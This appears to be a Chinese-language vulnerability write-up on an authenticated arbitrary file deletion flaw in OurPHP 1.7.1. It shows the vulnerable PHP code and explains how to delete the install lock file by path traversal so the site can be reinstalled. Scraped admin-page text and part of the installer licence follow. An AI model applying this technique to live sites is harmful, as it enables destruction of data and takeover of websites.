

ourphp 后台任意文件删除

漏洞简介:

OurPHP（傲派建站系统）是一款使用PHP语言开发的网站内容管理系统，开发商为哈尔滨伟成科技有限公司。

OurPHP 1.7.1版本存在任意文件操作漏洞，攻击者登录后台即可删除任意文件。

##漏洞分析##

ourphp 商品管理页面 对参数过滤不严导致 任意文件删除漏洞

漏洞代码:

漏洞文件 `www/client/manage/ourphp_imgdel.php`

```
<?php
include 'ourphp_admin.php';
include 'ourphp_checkadmin.php';
/*****
* Ourphp - CMS建站系统
* Copyright (C) 2014 ourphp.net
* 开发者: 哈尔滨伟成科技有限公司
*****/

$imgdel = $_GET["url"];
if (file_exists($imgdel)){
    $result=unlink($imgdel);
    echo '1';
}
?>
```

`imgdel` 参数没有 任何过滤直接 `unlink` 函数 导致任意文件删除

##漏洞复现##

商品管理

- 商品列表
- 发布商品
- 商城设置
- 订单处理
- 仓库管理
- 商品规格管理
- 商品属性参数
- 品牌管理
- 运费模板
- 商品评论管理

积分

修改信息 积分设置 商品正文 商品组图

[在这里上传商品组图图片] 上传

[删除]

提交

HTML CSS 脚本 DOM 网络 Cookies

编辑 < div#tr_1 < dd#list1 < div.img < li < ul < form#form_sterform < div#main0.main < div#tabs0 < body < html < iframe < td#mainright < tr < tbody < table < body < html

```
<script>
<script type="text/javascript" src="../../function/plugins/dragSort/jquery.dragSort-0.5.1.min.js">
<dd id="list1" data-listidx="0">
  <div id="tr_1" style="width: 200px; float: left; margin-right: 15px; margin-bottom: 15px; text-align: center; cursor: pointer;">
    
  </div>
  <a href="#" javascript:;" onclick="delete_orderC('../../function/uploadfile/20170531/20170531102138_80076.png',1)">[删除]</a>
```

`delete_order('../../function/uploadfile/20170531/20170531102138_80076.png',1)` 修改 `delete_order` 参数为 我们想要删除的任意文件 路径即可 如 删除 `ourphp.lock` 文件 进行重装 url 为：
`delete_order('../../function/install/ourphp.lock',1)` 删除成功，即可进行重装

OURPHP 新网站解决方案

OURPHP 网站管理系统最终用户授权许可协议

感谢您选择 OURPHP 傲派建站系统（以下简称 OURPHP），OURPHP 提供一个企业级+电商网站解决方案，基于 PHP + MySQL 的技术开发，源码开源。
(开源不等于随意用,未获授权禁止去除软件版权信息.强行去除后果自负.如不同意本协议请删除本软件!)

为了使您正确并合法的使用本软件，请您在使用前务必阅读清楚下面的协议条款：

一、本授权协议适用于 OURPHP 所有版本，OURPHP 官方对本授权协议拥有最终解释权。

二、协议许可的权利

1. 您可以在完全遵守本最终用户授权协议的基础上(即必须保留页面版权的情况下)，将本软件应用于商业用途，而不必支付软件版权授权费用。
2. 您可以在协议规定的约束和限制范围内修改 OURPHP 源代码或界面风格以适应您的网站要求。
3. 您拥有使用本软件构建的网站全部内容所有权，并独立承担与这些内容的相关法律义务。
4. 获得商业授权之后，您可以去除 OURPHP 的版权信息，同时依据所购买的授权类型中确定的技术支持内容，自购买时刻起，在技术支持期限内拥有通过指定的方式获得指定范围内的技术支持服务。商业授权用户享有反映和提出意见的权力，相关意见将被作为首要考虑，但没有一定被采纳的承诺或保证。

三、协议规定的约束和限制

1. 未获商业授权之前，不得删除网站底部或网站标题及相应的官方版权信息和链接。OURPHP 著作权已在中华人民共和国国家版权局注册(中国国家版权局著作权登记号 2015SR078193)，著作权等利法律和国际公约保护。购买商业授权请登陆

☐ 我认真阅读并接受以上协议。

开始安装